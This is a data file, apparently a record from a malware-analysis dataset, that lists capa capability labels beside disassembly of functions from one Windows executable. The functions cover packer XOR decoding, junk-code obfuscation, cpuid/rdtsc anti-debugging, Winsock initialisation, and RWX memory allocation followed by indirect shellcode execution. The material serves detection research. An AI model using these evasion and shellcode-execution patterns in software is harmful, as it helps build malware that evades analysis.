joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x1f4b6354
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x61ff4df4
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401010
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x401032
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
fninit
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1bc
call fcn.0049cd10
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4010d3
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00401227
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0x101
xor eax, eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x401114
push 0xa8
push 0x402ccc2
push 6
call fcn.0049c19e
add esp, 0xc
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
push 0x4ae200
push 2
mov ebx, 0x138
call fcn.0049cd40
add esp, 0x1c
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00401248
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40115d
push ebx
call fcn.0049c198
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [0x4b4d71], eax
push 0x80000301
push 0
push 0x80
push 0x80000301
push 0
push 8
push 2
mov ebx, 0xc8
call fcn.0049cda0
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
call fcn.004013ae
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4011b7
push ebx
call fcn.0049c198
add esp, 4
push 0
mov ebx, 4
mov eax, 0x4a2f90
call fcn.0049cc70
add esp, 4
mov dword [0x4b4d75], eax
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x4011fc
nop
nop
nop
nop
nop
nop
call fcn.004014ae
mov eax, 0
jmp 0x401211
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401222
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x402bbe
Capabilities:
Create directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
push 0xc
call fcn.0049c192
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x4a53f0
call fcn.0049cc70
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0
mov ebx, 0x308
call sub.KERNEL32.dll_GetTickCount
add esp, 4
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.0049d600
add esp, 0x10
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040151b
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402c6f
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x402c7f
push ebx
call fcn.0049c198
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402c93
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x402cc6
push 0x6f
push 0x4020f73
push 6
call fcn.0049c19e
add esp, 0xc
push 0x4ae2be
push dword [ebp - 4]
mov ecx, 2
call fcn.0040151b
add esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 8]
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x402d0d
push 0xa2
push 0x4020f73
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402d1d
push ebx
call fcn.0049c198
add esp, 4
push str.....TemporaryFile
push dword [ebp - 4]
mov ecx, 2
call fcn.0040151b
add esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x402d66
push 0xe9
push 0x4020f73
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402d76
push ebx
call fcn.0049c198
add esp, 4
push 0x4ae2be
push dword [ebp - 4]
mov ecx, 2
call fcn.0040151b
add esp, 8
mov dword [ebp - 0xc], eax
push str.TemporaryFile
push dword [ebp - 4]
mov ecx, 2
call fcn.0040151b
add esp, 8
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push dword [ebp - 0x10]
push dword [ebp - 0xc]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x402dd5
push 0x155
push 0x4020f73
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402de5
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x402df5
push ebx
call fcn.0049c198
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402e08
mov eax, 0x4ae20b
push eax
push 1
mov ebx, 0x238
call fcn.0049daf0
add esp, 0x10
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x402e2b
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
call fcn.0049c198
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x404155
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x404173
mov eax, 0x4ae21c
push eax
push 1
mov ebx, 0x194
call fcn.0049d150
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40419d
mov eax, 0
jmp 0x404211
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x4041fe
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x4041e7
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x4041d6
xor ecx, eax
xor edx, ebx
dec edi
jne 0x4041c7
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
mov esp, ebp
pop ebp
ret 4
Function at 0x40a940
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], esp
mov ebx, dword [ebp + 8]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
nop
nop
cmp dword [ebp - 4], esp
je 0x40a977
push 0x24
push 0x402ce54
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
mov eax, 0
setne al
jmp 0x40a98b
mov esp, ebp
pop ebp
ret 4

Function at 0x40aff6
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x1c
call fcn.0049c192
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
jmp 0x40b035
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 0xc], esp
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0x1c
push dword [ebp - 4]
push 3
xor eax, eax
call dword [0x4b50bd]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x40b0e1
push 0x30
push 0x402ccc9
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0xc]
fild qword [ebx]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
fild qword [ebx]
fstp qword [ebp - 0x20]
fsub qword [ebp - 0x20]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fdiv qword [0x4ae933]
fstp qword [ebp - 0x30]
push 0x80000601
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
mov ebx, 0x9dc
call fcn.0049db30
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x40b16c
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x40c3a6
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x40
call fcn.0049c192
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov dword [ebx], 0x40
mov dword [ebp - 8], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
nop
nop
cmp dword [ebp - 8], esp
je 0x40c407
push 0x2c
push 0x402ce0b
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 4]
add ebx, 8
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
fild qword [ebx]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fdiv qword [0x4ae957]
fstp qword [ebp - 0x18]
push 0x80000601
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 1
mov ebx, 0x9dc
call fcn.0049db30
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.0049d600
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
jmp 0x40c466
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x411df3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x4b5129]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x411e36
push 0x19
push 0x402cce8
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.0049d520
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x411e6c
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 8], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fadd qword [0x4ae2aa]
fstp qword [ebp - 0x18]
mov dword [ebp - 0x1c], esp
fld qword [ebp - 0x18]
call fcn.004015ce
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x411eba
push 0x88
push 0x402cce8
push 6
call fcn.0049c19e
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x411ed6
push eax
mov ebx, eax
call fcn.00401343
inc eax
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x411edb
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x411eec
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x414e71
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x414eaf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x414f35
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x414f46
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x414f5d
mov eax, 0x4ae21c
push eax
push 1
mov ebx, 0x194
call fcn.0049d150
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00401227
mov dword [ebp - 0xc], eax
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.004150e7
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x414fcc
push 0x165
push 0x402cd0d
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x4aeb47
push 3
mov ebx, 0x914
call fcn.0049f890
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41504b
push 0xbc5
push 0x402cd0d
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x415081
push 0xbf1
push 0x402cd0d
push 6
call fcn.0049c19e
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x41509b
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4150cf
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4150e0
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x416616
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x416638
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
mov dword [ebp - 4], 0
nop
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
nop
imul esi, esi, 0x88
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
imul edx, edx, 6
add esi, edx
nop
nop
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
imul ecx, ecx, 9
add esi, ecx
pop edx
pop ecx
pop ebx
nop
nop
nop
xor esi, 0x124254
mov dword [ebp - 4], esi
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
nop
nop
nop
mov eax, dword [ebp - 4]
jmp 0x416773
mov esp, ebp
pop ebp
ret
Function at 0x4184ee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x418510
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov dword [ebp - 4], 0x2b7e9735
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x418589
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x4185d7
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8

Function at 0x41a7ce
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push 0
push 0
push 0
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41a825
push 0x2b
push 0x402cdff
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41a83c
mov eax, 0x4ae21c
jmp 0x41a8c8
push 0x80000301
push 0
push dword [ebp + 0xc]
push 0x80000301
push 0
push dword [ebp - 4]
push 2
mov ebx, 0x910
call fcn.0049f490
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41a879
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41a8a9
push 0xf2
push 0x402cdff
push 6
call fcn.0049c19e
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x41a8c3
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41a8c8
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41a8d9
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x41b492
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
jmp 0x41b4a7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push esi
xor esi, esi
nop
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x354e7978
mov eax, reloc.WS2_32.dll_getsockname
cpuid
shr ecx, 0x10
add esi, ecx
nop
nop
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
mov eax, 1
xor edx, edx
cpuid
add esi, edx
xor esi, eax
rdtsc
add esi, edx
xor esi, 0x836bd0f7
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b738
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x41b776
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push edx
mov edx, 1
mov edx, 2
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 4
mov edx, 2
mov edx, 5
mov edx, 5
pop edx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x41b7fc
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b80d
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x41b824
mov eax, 0x4ae21c
push eax
push 1
mov ebx, 0x194
call fcn.0049d150
add esp, 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
call fcn.00401227
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 1
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call fcn.004150e7
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
push 0x64
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b8a1
push 0x166
push 0x402cd0e
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0xa0000101
push 0
push 0x4aee8b
push 3
mov ebx, 0x914
call fcn.0049f890
add esp, 0x28
push dword [ebp - 8]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b920
push 0xa79
push 0x402cd0e
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x18], esp
push 0x8000
push 0
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x41b956
push 0xaa5
push 0x402cd0e
push 6
call fcn.0049c19e
add esp, 0xc
mov eax, dword [ebp - 4]
test eax, eax
je 0x41b970
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x41b9a4
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41b9b5
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x14
Function at 0x41ce12
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x41ce34
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
mov dword [ebp - 4], 0x2ec3d7e5
push edx
push ecx
push esi
xor esi, esi
mov eax, dword [ebp + 8]
lea ecx, ds:[esi*4]
mov ecx, dword [eax + ecx]
xor ecx, dword [ebp - 4]
lea edx, ds:[esi*4]
mov dword [eax + edx], ecx
add esi, 1
cmp esi, dword [ebp + 0xc]
jne 0x41cead
pop esi
pop ecx
pop edx
nop
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x41cefb
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 8